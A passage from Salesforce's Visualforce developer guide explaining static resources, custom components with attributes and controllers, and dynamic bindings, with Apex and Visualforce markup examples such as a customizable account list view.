When overriding the New button with a Visualforce page, you have the option to skip the record type selection page. If you choose this option, new records you create aren’t forwarded to the record type selection page. Salesforce assumes that your Visualforce page is already handling record types.
144
CHAPTER 10 Using Static Resources
Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and .jar files), images, style sheets, JavaScript, and other files.
Using a static resource is preferable to uploading a file to the Documents tab because:
•
You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive.
•
You can reference a static resource by name in page markup by using the
$Resource
global variable instead of hard coding document IDs.
Tip: In addition, using static resources to refer to JavaScript or cascading style sheets (CSS) is preferable to including the markup inline. Managing this kind of content using static resources allows you to have a consistent look and feel for all your pages and a shared set of JavaScript functionality.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total.
IN THIS SECTION:
Referencing a Static Resource in Visualforce Markup
Creating a Static Resource
To create a static resource:
1. From Setup, enter
Static Resources
in the
Quick Find
box, then select Static Resources.
2. Click New.
3. In the
Name
text box, enter the text that should be used to identify the resource in Visualforce markup. This name can contain only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the Visualforce markup is updated to reflect that change.
4. In the
Description
text area, specify an optional description of the resource.
5. Next to the
File
text box, click Browse to navigate to a local copy of the resource that you want to upload.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total.
6. Set the
Cache Control
:
•
Private
specifies that the static resource data cached on the Salesforce server shouldn’t be shared with other users. The static resource is only stored in cache for the current user’s session.
145
Using Static Resources Referencing a Static Resource in Visualforce Markup
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches.
•
Public
specifies that the static resource data cached on the Salesforce server be shared with other users in your organization for faster load times.
The W3C specifications on Header Field Definitions has more technical information about cache-control.
Note: This feature only works for Sites—enabled organizations that use the static resource.
7. Click Save.
Warning: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a loss of data.
Referencing a Static Resource in Visualforce Markup
The way you reference a static resource in Visualforce markup depends on whether you want to reference a stand-alone file, or whether you want to reference a file that is contained in an archive (such as a .zip or .jar file):
•
To reference a stand-alone file, use
$Resource.
<resource_name>
as a merge field, where
<resource_name>
is the name you specified when you uploaded the resource. For example:
<apex:image url= "{!$Resource.TestImage}" width= "50" height= "50" /> or
<apex:includeScript value= "{!$Resource.MyJavascriptFile}" />
•
To reference a file in an archive, use the
URLFOR
function. Specify the static resource name that you provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second. For example:
<apex:image url= "{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg' )} " width=" 50 " height=" 50 "/> or
<apex:includeScript value= "{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}" />
•
You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in your CSS file, named styles.css
, you have the following style: table { background-image: url( 'img/testimage.gif' ) }
When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create an archive
(such as a zip file) that includes styles.css
and img/testimage.gif
. Make sure that the path structure is preserved in the archive. Then upload the archive file as a static resource named “style_resources”. Then, in your page, add the following component:
<apex:stylesheet value= "{!URLFOR($Resource.style_resources, 'styles.css')}" />
Since the static resource contains both the style sheet and the image, the relative path in the style sheet resolves and the image is displayed.
146
Using Static Resources Referencing a Static Resource in Visualforce Markup
•
Through a custom controller, you can dynamically refer to the contents of a static resource using the
<apex:variable >
tag.
First, create the custom controller: global class MyController { public String getImageName() { return 'Picture.gif' ; //this is the name of the image
}
}
Then, refer to the getImageName
method in your
<apex:variable >
tag:
<apex:page renderAs= "pdf" controller= "MyController" >
<apex:variable var= "imageVar" value= "{!imageName}" />
<apex:image url= "{!URLFOR($Resource.myZipFile, imageVar)}" />
</apex:page >
If the name of the image changes in the zip file, you can just change the returned value in getImageName
.
147
CHAPTER 11 Creating and Using Custom Components
Salesforce provides a library of standard, pre-built components, such as
<apex:relatedList >
and
<apex:dataTable >
, that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library. This chapter provides an overview of custom components and how to create them:
•
•
•
Using Custom Components in a Visualforce Page
•
•
•
What are Custom Components?
Similar to the way you can encapsulate a piece of code in a method and then reuse that method several times in a program, you can encapsulate a common design pattern in a custom component and then reuse that component several times in one or more Visualforce pages.
For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every photo in the album, you can define a custom component named singlePhoto
that has attributes for image, border color, and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your organization can leverage the singlePhoto
custom component in the same way as a page can leverage standard components such as
<apex:dataTable > or
<apex:relatedList >
.
Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility because:
•
Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that instance of the component. This behavior differs from that of templates, which do not have a way of passing information from the page that uses a template to the template's definition itself.
•
Custom component descriptions are displayed in the application's component reference dialog alongside standard component descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce because they are defined as pages.
SEE ALSO:
Using Custom Components in a Visualforce Page
148
Creating and Using Custom Components Defining Custom Components
Defining Custom Components
To define a custom component for use in a Visualforce page:
1. In Salesforce from Setup, enter
Components
in the
Quick Find
box, then select VisualforceComponents.
2. Click New.
3. In the
Label
text box, enter the text that should be used to identify the custom component in Setup tools.
4. In the
Name
text box, enter the text that should identify this custom component in Visualforce markup. This name can contain only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
5. In the
Description
text box, enter a text description of the custom component. This description appears in the component reference with other standard component descriptions as soon as you click Save.
6. In the
Body
text box, enter Visualforce markup for the custom component definition. A single component can hold up to 1 MB of text, or approximately 1,000,000 characters.
7. Click Version Settings to specify the version of Visualforce and the API used with this component. You can also specify versions for any managed packages installed in your organization.
8. Click Save to save your changes and view the custom component’s detail screen, or click Quick Save to save your changes and continue editing your component. Your Visualforce markup must be valid before you can save your component.
Note: You can also create a custom component in
by adding a reference to a custom component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that allows you to create a new component definition (including any specified attributes) based on the name that you provided for the component.
For example, if you haven’t yet defined a custom component named myNewComponent
and insert
<c:myNewComponent myNewAttribute= "foo" />
into existing page markup, after clicking Save a quick fix allows you to define a new custom component named myNewComponent
with the following default definition:
<apex:component >
<apex:attribute name= "myattribute" type= "String" description= "TODO: Describe me" />
<!-- Begin Default Content REMOVE THIS -->
<h1 >Congratulations </h1 >
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component >
You can modify this definition from Setup by entering
Components
in the
Quick Find
box, then selecting
VisualforceComponents, and then clicking Edit next to the myNewComponent custom component.
Once your component has been created, you can view it at http://mySalesforceInstance/apexcomponent/nameOfNewComponent
, where the value of
mySalesforceInstance
is the host name of your Salesforce instance (for example, na3.salesforce.com
) and the value of
nameOfNewComponent
is the value of the
Name
field on the custom component definition.
The component is displayed as if it’s a Visualforce page. Consequently, if your component relies on attributes or on the content of the component tag’s body, this URL may generate results that you don’t expect. To more accurately test a custom component, add it to a
Visualforce page and then view the page.
149
Creating and Using Custom Components Custom Component Markup
Custom Component Markup
All markup for a custom component is defined within an
<apex:component >
tag. This tag must be the top-level tag in a custom component definition. For example:
<apex:component >
<b >
<apex:outputText value= "This is my custom component." />
</b >
</apex:component >
Notice that the markup can be a combination of Visualforce and HTML tags, just like other Visualforce pages.
For a more complex example, you could use a custom component to create a form that is used across multiple Visualforce pages. Create a new custom component named recordDisplay
and copy the following code:
<apex:component >
<apex:attribute name= "record" description= "The type of record we are viewing." type= "Object" required= "true" />
<apex:pageBlock title= "Viewing {!record}" >
<apex:detail />
</apex:pageBlock >
</apex:component >
Next, create a page called displayRecords
and use the following code:
<apex:page >
<c:recordDisplay record= "Account" />
</apex:page >
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if
001D000000IRt53
is the account ID, the resulting URL should be: https://
Salesforce_instance
/apex/displayRecords?id=001D000000IRt53
You should see a page with details about the account you passed in as an ID.
Now, replace the code in displayRecords
with the following sample:
<apex:page >
<c:recordDisplay record= "Contact" />
</apex:page >
Again, pass in the ID of a contact before refreshing the page. You should see the page display information about your Contact.
contains more information on using the
<apex:attribute >
component.
Using Custom Components in a Visualforce Page
The body of an
<apex:component >
tag is the markup that is added to a standard Visualforce page whenever the component is included. For example, the following Visualforce page uses the component defined in
on page 150 (in this example, the component was saved with the name myComponent
):
<apex:page standardController= "Account" >
This is my <i >page </i >.
<br/ >
150
Creating and Using Custom Components Managing Version Settings for Custom Components
<c:myComponent/ >
</apex:page >
It results in the following output:
This is my page.
This is my custom component.
To use a custom component in a Visualforce page you must prefix the component's name with the namespace in which the component was defined. For example, if a component named myComponent
is defined in a namespace called myNS
, the component can be referenced in a Visualforce page as
<myNS:myComponent >
.
For ease of use, a component that is defined in the same namespace as an associated page can also use the c
namespace prefix.
Consequently, if the page and component from the sample above are defined in the same namespace, you can reference the component as
<c:myComponent >
.
If you want to insert content into a custom component, use the
SEE ALSO:
Managing Version Settings for Custom Components
To set the Salesforce API and Visualforce version for a Visualforce page or custom component:
1. Edit a Visualforce page or component and click Version Settings.
Note: You can only modify the version settings for a page or custom component on the Version Settings tab when editing the page or component in Setup.
2. Select the
Version
of the Salesforce API. This is also the version of Visualforce used with the page or component.
3. Click Save.
SEE ALSO:
Managing Package Version Settings for Visualforce Pages and Components
Custom Component Attributes
Apart from standard Visualforce markup, the body of an
<apex:component >
tag can also specify the attributes that can be passed in to the custom component when it’s used in a Visualforce page. The values of such attributes can then be used directly in the component, or within the
, if applicable.
Attributes are defined with the
<apex:attribute >
tag. For example, the following custom component definition specifies two required attributes named value
and borderColor
. Values for these attributes are referenced in the custom component definition using standard
{! }
Visualforce expression language syntax:
<apex:component >
<!-- Attribute Definitions -->
151
Creating and Using Custom Components Custom Component Controllers
<apex:attribute name= "myValue" description= "This is the value for the component." type= "String" required= "true" />
<apex:attribute name= "borderColor" description= "This is color for the border." type= "String" required= "true" />
<!-- Component Definition -->
<h1 style= "border:{!borderColor};" />
<apex:outputText value= "{!myValue}" />
</h1 >
</apex:component >
Use this component in a Visualforce page with the following markup:
<c:myComponent myValue= "My value" borderColor= "red" />
An
<apex:attribute >
tag requires values for the name
, description
, and type
attributes:
•
The name
attribute defines how the custom attribute can be referenced in Visualforce pages. name s for attributes must be unique within a component.
•
The description
attribute defines the help text for the attribute that appears in the component reference library once the custom component has been saved. The custom component is listed in the reference library with the standard components that are also available.
•
The type
attribute defines the Apex data type of the attribute. Only the following data types are allowed as values for the type attribute:
–
Primitives, such as String, Integer, or Boolean.
–
sObjects, such as Account, My_Custom_Object__c, or the generic sObject type.
–
One-dimensional lists, specified using array-notation, such as String[], or Contact[].
–
Maps, specified using type= "map"
. You don’t need to specify the map’s specific data type.
–
Custom Apex classes.
For information on additional
<apex:attribute >
attributes, see
Default Custom Component Attributes
Two attributes are always generated for custom components. These attributes don’t need to be included in your component definition:
id
An identifier that allows the custom component to be referenced by other components in the page.
rendered
A Boolean value that specifies whether the custom component is rendered on the page. If not specified, this value defaults to true.
Custom Component Controllers
Similar to standard Visualforce pages, custom components can be associated with a controller written in Apex. This association is made by setting the controller
attribute on the component to your custom controller. You can use the controller to perform additional logic before returning the component's markup to the associated page.
152
Creating and Using Custom Components Custom Component Controllers
Accessing Custom Component Attributes in a Controller
To access the value of a custom component attribute in an associated custom component controller:
1. Define a property in the custom component controller to store the value of the attribute.
2. Define a getter and setter method for the property. For example: public class myComponentController { public String controllerValue; public void setControllerValue ( String s) { controllerValue = s.toUpperCase();
}
} public String getControllerValue() { return controllerValue;
}
Notice that the setter modifies the value.
3. In the
<apex:attribute >
tag in your component definition, use the assignTo
attribute to bind the attribute to the class variable you just defined. For example:
<apex:component controller= "myComponentController" >
<apex:attribute name= "componentValue" description= "Attribute on the component." type= "String" required= "required" assignTo= "{!controllerValue}" />
<apex:pageBlock title= "My Custom Component" >
<p >
<code >componentValue </code > is "{!componentValue}"
<br/ >
<code >controllerValue </code > is "{!controllerValue}"
</p >
</apex:pageBlock >
Notice that the controllerValue has been upper cased using an Apex method.
</apex:component >
Note that when using the assignTo
attribute, getter and setter methods, or a property with get
and set
values, must be defined.
4. Add the component to a page. For example,
<apex:page >
<c:simpleComponent componentValue= "Hi there, {!$User.FirstName}" />
</apex:page >
The output of the page will look something like the following:
153
Creating and Using Custom Components Custom Component Controllers
Notice that the Apex controller method changes controllerValue
so that it is displayed with uppercase characters.
154
CHAPTER 12 Dynamic Visualforce Bindings
Dynamic Visualforce bindings are a way of writing generic Visualforce pages that display information about records without necessarily knowing which fields to show. In other words, fields on the page are determined at run time, rather than compile time. This allows a developer to design a single page that renders differently for various audiences, based on their permissions or preferences. Dynamic bindings are useful for Visualforce pages included in managed packages since they allow for the presentation of data specific to each subscriber with very little coding.
Dynamic Visualforce binding is supported for standard and custom objects. Dynamic bindings take the following general form:
reference
[
expression
] where
•
reference
evaluates to either an sObject, an Apex class, or a global variable
•
expression
evaluates to a string that is the name of a field, or a related object. If a related object is returned, it can be used to recursively select fields or further related objects.
Dynamic bindings can be used anywhere formula expressions are valid. Use them on a page like this:
{!
reference
[
expression
]}
Optionally, you can add a
fieldname
to the end of the whole dynamic expression. If the dynamic expression resolves to an sObject, the
fieldname
refers to a specific field on that object. If your reference
is an Apex class, the field must be public
or global
.
For example:
{!myContact[ 'Account' ][
fieldname
]}
Your dynamic Visualforce pages should be designed to use a standard controller for the object on your page, and implement any further
customization through a controller extension
.
You can use the Apex
Schema.SobjectType
methods to get information for your dynamic references, in particular those that access the fields of an object. For example,
Schema.SobjectType.Account.fields.getMap()
returns a Map of the names of the Account fields in a format that your Apex controllers and extensions can understand.
Important: Static references are checked for validity when you save a page, and an invalid reference will prevent you from saving it. Dynamic references, by their nature, can only be checked at run time, and if your page contains a dynamic reference that is invalid when the page is viewed, the page fails. It’s possible to create references to custom fields or global variables which are valid, but if that field or global value is later deleted, the page will fail when it is next viewed.
Defining Relationships
Both reference
and expression
can be complex expressions, such as those that evaluate to object relationships. For example, suppose that an object called Object1__c has a relationship to another object called Object2__c. The name of the relationship between these two objects is called Relationship__r.
If Object2__c has a field called myField
, then the following dynamically-cast lookups all return a reference to the same field:
155
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
•
Object1__c.Object2__c['myField']
•
Object1__c['Object2__c.myField']
•
Object1__c['Object2__c']['myField']
•
Object1__c.Relationship__r[myField]
•
Object1__c[Relationship__r.myField]
•
Object1__c[Relationship__r][myField]
SEE ALSO:
Dynamic References to Global Variables
Using Dynamic References with Standard Objects
Use dynamic Visualforce bindings to construct simple, reusable pages with a known set of fields you want to access. This approach has the advantage of easily customizing which fields are pertinent for a user to work with.
for a more advanced example that makes fuller use of dynamic Visualforce.
A Simple Dynamic Form
The following example demonstrates the simplest way to construct a Visualforce page that uses dynamic references.
First, create a controller extension that provides a “dynamic” list of fields to display: public class DynamicAccountFieldsLister { public DynamicAccountFieldsLister(ApexPages.StandardController controller) { controller.addFields(editableFields);
} public List< String > editableFields { get { if (editableFields == null ) { editableFields = new List< String >(); editableFields.add( 'Industry' ); editableFields.add( 'AnnualRevenue' ); editableFields.add( 'BillingCity' );
} return editableFields ;
} private set;
}
}
Next, create a page called
DynamicAccountEditor
that uses the above controller extension:
<apex:page standardController= "Account" extensions= "DynamicAccountFieldsLister" >
<apex:pageMessages /> <br/ >
156
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
<apex:form >
<apex:pageBlock title= "Edit Account" mode= "edit" >
<apex:pageBlockSection columns= "1" >
<apex:inputField value= "{!Account.Name}" />
<apex:repeat value= "{!editableFields}" var= "f" >
<apex:inputField value= "{!Account[f]}" />
</apex:repeat >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Notice what’s going on in this sample:
•
The
DynamicAccountFieldsLister
controller extension creates a list of strings called editableFields
. Each string maps to a field name in the Account object.
•
The editableFields
list is hard-coded, but you can determine them from a query or calculation, read them from a custom setting, or otherwise providing a more dynamic experience. This is what makes dynamic references powerful.
•
DynamicAccountEditor
markup uses an
<apex:repeat >
tag to loop through the strings returned by editableFields
.
•
The
<apex:inputField >
tag displays each field in editableFields
by referencing the f
iteration element, which represents the name of a field on Account. The dynamic reference
{!Account[f]}
actually displays the value on the page.
Ensuring that Fields in Dynamic References are Loaded by a Standard
Controller
Visualforce automatically optimizes the SOQL query performed by a page’s
StandardController
(or
StandardSetController
), loading only the fields which are actually used on a page. When you create a Visualforce page with static references to objects and fields, the fields and objects can be known in advance. When the page is saved, Visualforce is able to determine and save which objects and fields need to be added to the SOQL query that the
StandardController
will perform later, when the page is requested.
Dynamic references are evaluated at runtime, after the SOQL query is run by the
StandardController
. If a field is only used via a dynamic reference, it won’t be automatically loaded. When that dynamic reference is later evaluated, it will resolve to data which is missing, the result of which is a SOQL error. You must provide some extra information to the controller, so that it knows what fields and related objects to load.
You can add any number of additional fields to a
StandardController
query, by using the addFields()
method on the page controller to pass in the list of additional fields to load. In the prior example, this is done in the controller extension’s constructor: public DynamicAccountFieldsLister(ApexPages.StandardController controller) { controller.addFields(editableFields);
}
The constructor uses the same property that the page markup does, editableFields
, to add more fields to the controller’s list of fields to load.
This works well for pages when the complete list of fields to load can be known when the controller extension is instantiated. If the list of fields can’t be determined until later in the request processing, you can call reset()
on the controller and then add the fields. This
technique.
157
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
Note: Adding fields to a controller is only required if you’re using the default query for a
StandardController
or
StandardSetController
. If your controller or controller extension performs its own SOQL query, using addFields() is unnecessary and has no effect.
For more information on these methods, see the
StandardController
documentation .
Dynamic References to Related Objects
This example creates a Visualforce page for a case record, with certain fields that are editable. Some of the fields displayed are from a related object, showing how you can use dynamic references to traverse relationships.
First, create an Apex controller extension called
DynamicCaseLoader
: public class DynamicCaseLoader { public final Case caseDetails { get; private set; }
// SOQL query loads the case, with Case fields and related Contact fields public DynamicCaseLoader(ApexPages.StandardController controller) {
String qid = ApexPages.currentPage().getParameters().get( 'id' );
String theQuery = 'SELECT Id, ' + joinList(caseFieldList, ', ' ) +
' FROM Case WHERE Id = :qid' ; this .caseDetails = Database.query(theQuery);
}
// A list of fields to show on the Visualforce page public List< String > caseFieldList { get { if (caseFieldList == null ) { caseFieldList = new List< String >(); caseFieldList.add( 'CaseNumber' ); caseFieldList.add( 'Origin' ); caseFieldList.add( 'Status' ); caseFieldList.add( 'Contact.Name' ); // related field caseFieldList.add( 'Contact.Email' ); // related field caseFieldList.add( 'Contact.Phone' ); // related field
} return caseFieldList;
} private set;
}
// Join an Apex list of fields into a SELECT fields list string private static String joinList(List< String > theList, String separator) { if (theList == null ) { return null ;
} if (separator == null ) { separator = '' ;
}
String joined = '' ;
Boolean firstItem = true ;
158
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects for ( String item : theList) { if ( null != item ) { if (firstItem){ firstItem = false ;
} else { joined += separator;
} joined += item ;
}
} return joined;
}
}
The corresponding page,
DynamicCaseEditor
, uses this extension to retrieve information about a particular case and its associated contact:
<apex:page standardController= "Case" extensions= "DynamicCaseLoader" >
<br/ >
<apex:form >
<apex:repeat value= "{!caseFieldList}" var= "cf" >
<h2 >{!cf} </h2 >
<br/ >
<!-- The only editable information should be contact information -->
<apex:inputText value= "{!caseDetails[cf]}" rendered= "{!IF(contains(cf, " Contact "), true, false)}" />
<apex:outputText value= "{!caseDetails[cf]}" rendered= "{!IF(contains(cf, " Contact "), false, true)}" />
<br/ > <br/ >
</apex:repeat >
</apex:form >
</apex:page >
Access this page with the ID of a valid case record specified as the id
query parameter. For example, https://Salesforce_instance/apex/DynamicCaseEditor?id=500D0000003ZtPy
. Your page will display a form similar to this one:
There are a number of things to note about this example:
159
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
•
In the controller extension, the constructor performs its own SOQL query for the object to display. Here it’s because the page’s
StandardController
doesn’t load related fields by default, but there are many different use cases for needing a customized
SOQL query. The query result is made available to the page through the property caseFieldList
. There’s no requirement to perform the query in the constructor—it can just as easily be in the property’s get
method.
•
The SOQL query specifies the fields to load, so it’s not necessary to use addFields()
which was needed in A Simple Dynamic
•
The SOQL query is constructed at run time. A utility method converts the list of field names into a string suitable for use in a SOQL
SELECT
statement.
•
In the markup, the form fields are displayed by iterating through the field names using
<apex:repeat >
, and using the field name variable cf
in a dynamic reference to get the field value. Each field is potentially written by two components—
<apex:outputText >
and
<apex:inputText >
. The render attribute on these tags controls which of the two actually displays: if the field name contains the string “Contact,” then the information is rendered in an
<apex:inputText > tag, and if it doesn’t, it’s rendered in an
<apex:outputText >
.
Using Dynamic References for a User-Customizable Page
The full potential of Visualforce dynamic bindings is in building pages without knowing which fields are available on an object. The following example demonstrates this capability with a list of accounts that can be customized without knowing any of the fields on the
Account object, except for the
Name
field required on all objects. This is made possible by using the
Schema.SobjectType.Account.fields.getMap()
to retrieve the list of fields that exist on the object, and Visualforce dynamic references.
The functionality provided by this example is simple. The main list view initially displays only the account name, but a Customize List button allows the user to select which fields they’d like to add to the list. When they save their preferences, they return to the list view and will see a dynamically generated Visualforce page that presents those fields in additional columns.
Note:
You can also build a page without knowing the fields using dynamic references with Field Sets
on page 170.
First, create a controller extension called
DynamicCustomizableListHandler
: public class DynamicCustomizableListHandler {
// Resources we need to hold on to across requests private ApexPages.StandardSetController controller; private PageReference savePage;
// This is the state for the list "app" private Set< String > unSelectedNames = new Set< String >(); private Set< String > selectedNames = new Set< String >(); private Set< String > inaccessibleNames = new Set< String >(); public DynamicCustomizableListHandler(ApexPages.StandardSetController controller) { this .controller = controller; loadFieldsWithVisibility();
}
// Initial load of the fields lists private void loadFieldsWithVisibility() {
Map< String , Schema.SobjectField> fields =
Schema.SobjectType.Account.fields.getMap(); for ( String s : fields.keySet()) { if (s != 'Name' ) { // name is always displayed
160
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects unSelectedNames.add(s);
} if (!fields.get(s).getDescribe().isAccessible()) { inaccessibleNames.add(s);
}
}
}
// The fields to show in the list
// This is what we generate the dynamic references from public List< String > getDisplayFields() {
List< String > displayFields = new List< String >(selectedNames); displayFields.sort(); return displayFields;
}
// Nav: go to customize screen public PageReference customize() { savePage = ApexPages.currentPage(); return Page.CustomizeDynamicList;
}
// Nav: return to list view public PageReference show() {
// This forces a re-query with the new fields list controller.reset(); controller.addFields(getDisplayFields()); return savePage;
}
// Create the select options for the two select lists on the page public List<SelectOption> getSelectedOptions() { return selectOptionsFromSet(selectedNames);
} public List<SelectOption> getUnSelectedOptions() { return selectOptionsFromSet(unSelectedNames);
} private List<SelectOption> selectOptionsFromSet(Set< String > opts) {
List< String > optionsList = new List< String >(opts); optionsList.sort();
List<SelectOption> options = new List<SelectOption>(); for ( String s : optionsList) { options.add( new
SelectOption(s, decorateName(s), inaccessibleNames.contains(s)));
} return options;
} private String decorateName( String s) { return inaccessibleNames.contains(s) ?
'*' + s : s;
}
// These properties receive the customization form postback data
161
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
// Each time the [<<] or [>>] button is clicked, these get the contents
// of the respective selection lists from the form public transient List< String > selected { get; set; } public transient List< String > unselected { get; set; }
// Handle the actual button clicks. Page gets updated via a
// rerender on the form public void doAdd() { moveFields(selected, selectedNames, unSelectedNames);
} public void doRemove() { moveFields(unselected, unSelectedNames, selectedNames);
} private void moveFields(List< String > items,
Set< String > moveTo, Set< String > removeFrom) { for ( String s: items) { if ( ! inaccessibleNames.contains(s)) { moveTo.add(s); removeFrom.remove(s);
}
}
}
}
Note: When you save the class, you may be prompted about a missing Visualforce page. This is because of the page reference in the customize()
method. Click the “quick fix” link to create the page—Visualforce markup from a later block of code will be pasted into it.
Some things to note about this class:
•
The standard controller methods addFields()
and reset()
are used in the show()
method, which is the method that returns back to the list view. They are necessary because the list of fields to display may have changed, and so the query that loads data for display needs to be re-executed.
•
Two action methods, customize()
and show()
, navigate from the list view to the customization form and back again.
•
Everything after the navigation action methods deals with the customization form. These methods are broadly broken into two groups, noted in the comments. The first group provides the
List<SelectOption>
lists used by the customization form, and the second group handles the two buttons that move items from one list to the other.
Now, create a Visualforce page called
DynamicCustomizableList
with the following markup:
<apex:page standardController= "Account" recordSetVar= "accountList" extensions= "DynamicCustomizableListHandler" >
<br/ >
<apex:form >
<!-- View selection widget, uses StandardController methods -->
<apex:pageBlock >
<apex:outputLabel value= "Select Accounts View: " for= "viewsList" />
<apex:selectList id= "viewsList" size= "1" value= "{!filterId}" >
<apex:actionSupport event= "onchange" rerender= "theTable" />
<apex:selectOptions value= "{!listViewOptions}" />
</apex:selectList >
</apex:pageblock >
162
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
<!-- This list of accounts has customizable columns -->
<apex:pageBlock title= "Accounts" mode= "edit" >
<apex:pageMessages />
<apex:panelGroup id= "theTable" >
<apex:pageBlockTable value= "{!accountList}" var= "acct" >
<apex:column value= "{!acct.Name}" />
<!-- This is the dynamic reference part -->
<apex:repeat value= "{!displayFields}" var= "f" >
<apex:column value= "{!acct[f]}" />
</apex:repeat >
</apex:pageBlockTable >
</apex:panelGroup >
</apex:pageBlock >
<br/ >
<apex:commandButton value= "Customize List" action= "{!customize}" />
</apex:form >
</apex:page >
This page presents a list of accounts in your organization. The
<apex:pageBlock >
at the top provides a standard drop-down list of the views defined for accounts, the same views users see on standard Salesforce account pages. This view widget uses methods provided by the
StandardSetController
.
The second
<apex:pageBlock >
holds a
<apex:pageBlockTable >
that has columns added in a
<apex:repeat >
. All columns in the repeat component use a dynamic reference to account fields,
{!acct[f]}
, to display the user’s custom-selected fields.
The last piece to this mini app is the customization form. Create a page called
CustomizeDynamicList
. You may have already created this page, when creating the controller extension. Paste in the following:
<apex:page standardController= "Account" recordSetVar= "ignored" extensions= "DynamicCustomizableListHandler" >
<br/ >
<apex:form >
<apex:pageBlock title= "Select Fields to Display" id= "selectionBlock" >
<apex:pageMessages />
<apex:panelGrid columns= "3" >
<apex:selectList id= "unselected_list" required= "false" value= "{!selected}" multiselect= "true" size= "20" style= "width:250px" >
<apex:selectOptions value= "{!unSelectedOptions}" />
</apex:selectList >
<apex:panelGroup >
<apex:commandButton value= ">>" action= "{!doAdd}" rerender= "selectionBlock" />
<br/ >
<apex:commandButton value= "<<" action= "{!doRemove}" rerender= "selectionBlock" />
</apex:panelGroup >
<apex:selectList id= "selected_list" required= "false" value= "{!unselected}" multiselect= "true" size= "20" style= "width:250px" >
<apex:selectOptions value= "{!selectedOptions}" />
</apex:selectList >
</apex:panelGrid >
163
Dynamic Visualforce Bindings Using Dynamic References with Standard Objects
<em >Note: Fields marked <strong >* </strong > are inaccessible to your account </em >
</apex:pageBlock >
<br/ >
<apex:commandButton value= "Show These Fields" action= "{!show}" />
</apex:form >
</apex:page >
This simple preferences page presents two lists, and the user moves fields from the list of available fields on the left to the list of fields to display on the right. Clicking Show These Fields returns to the list itself.
Here are a few things to note about this markup:
•
This page uses the same standard controller as the list view, even though no accounts are being displayed. This is required to maintain the view state, which contains the list of fields to display. If this form saved the user’s preferences to something permanent, like a custom setting, this wouldn’t be necessary.
•
The first list is populated by a call to the getUnSelectedOptions()
method, and when the form is submitted (via either of the two
<apex:commandButton >
components), the values in the list that are selected at time of form submission are saved into the selected
property. Corresponding code handles the other list.
•
These “delta” lists of fields to move are processed by the doAdd()
or doRemove()
method, depending on which button was clicked.
When you assemble the controller extension and these pages, and navigate to
/apex/DynamicCustomizableList
in your organization, you’ll see a sequence similar to the following:
1. View the customizable list in the default state, with only the account name field displayed.
Click Customize List.
2. The display preferences screen is shown.
164
Dynamic Visualforce Bindings Using Dynamic References with Custom Objects and
Packages
Move some fields into the list on the right, and click Show These Fields.
3. The customized list view is displayed.
Using Dynamic References with Custom Objects and Packages
Package developers can use dynamic Visualforce binding to list only the fields a user can access. This situation might occur when you’re developing a managed package with a Visualforce page that displays fields on an object. Since the package developer doesn’t know which fields a subscriber can access, he or she can define a dynamic page that renders differently for each subscriber. The following example uses a custom object packaged with a page layout using a Visualforce page to demonstrate how different subscribing users view the same page.
1. Create a custom object called Book with the following fields and data types:
•
Title
: Text(255)
•
Author
: Text(255)
•
ISBN
: Text(13)
•
Price
: Currency(4, 2)
•
Publisher
: Text(255)
By default creating a new custom object will create a layout for that object. Call the layout Book Layout.
165
Dynamic Visualforce Bindings Using Dynamic References with Custom Objects and
Packages
2. Modify the layout so it displays the custom fields above and removes the standard fields such as Created By, Last Modified By, Owner, and Name.
3. Create a new custom object tab. Set the object to Book, and the tab style to Books.
4. Switch to the Book tab and create a few Book objects. For this tutorial, the data inside the fields doesn’t actually matter.
5. Create a controller extension called bookExtension
with the following code: public with sharing class bookExtension { private ApexPages.StandardController controller; private Set< String > bookFields = new Set< String >(); public bookExtension (ApexPages.StandardController controller) { this .controller = controller;
Map< String , Schema.SobjectField> fields =
Schema.SobjectType.Book__c.fields.getMap(); for ( String s : fields.keySet()) {
// Only include accessible fields if (fields.get(s).getDescribe().isAccessible() && fields.get(s).getDescribe().isCustom()) { bookFields.add(s);
}
}
} public List< String > availableFields { get { controller.reset(); controller.addFields( new List< String >(bookFields)); return new List< String >(bookFields);
}
}
}
6. Create a Visualforce page called booksView
that uses the controller extension to show the values of the Book object:
<apex:page standardController= "Book__c" extensions= "bookExtension" >
<br/ >
<apex:pageBlock title= "{!Book__c.Name}" >
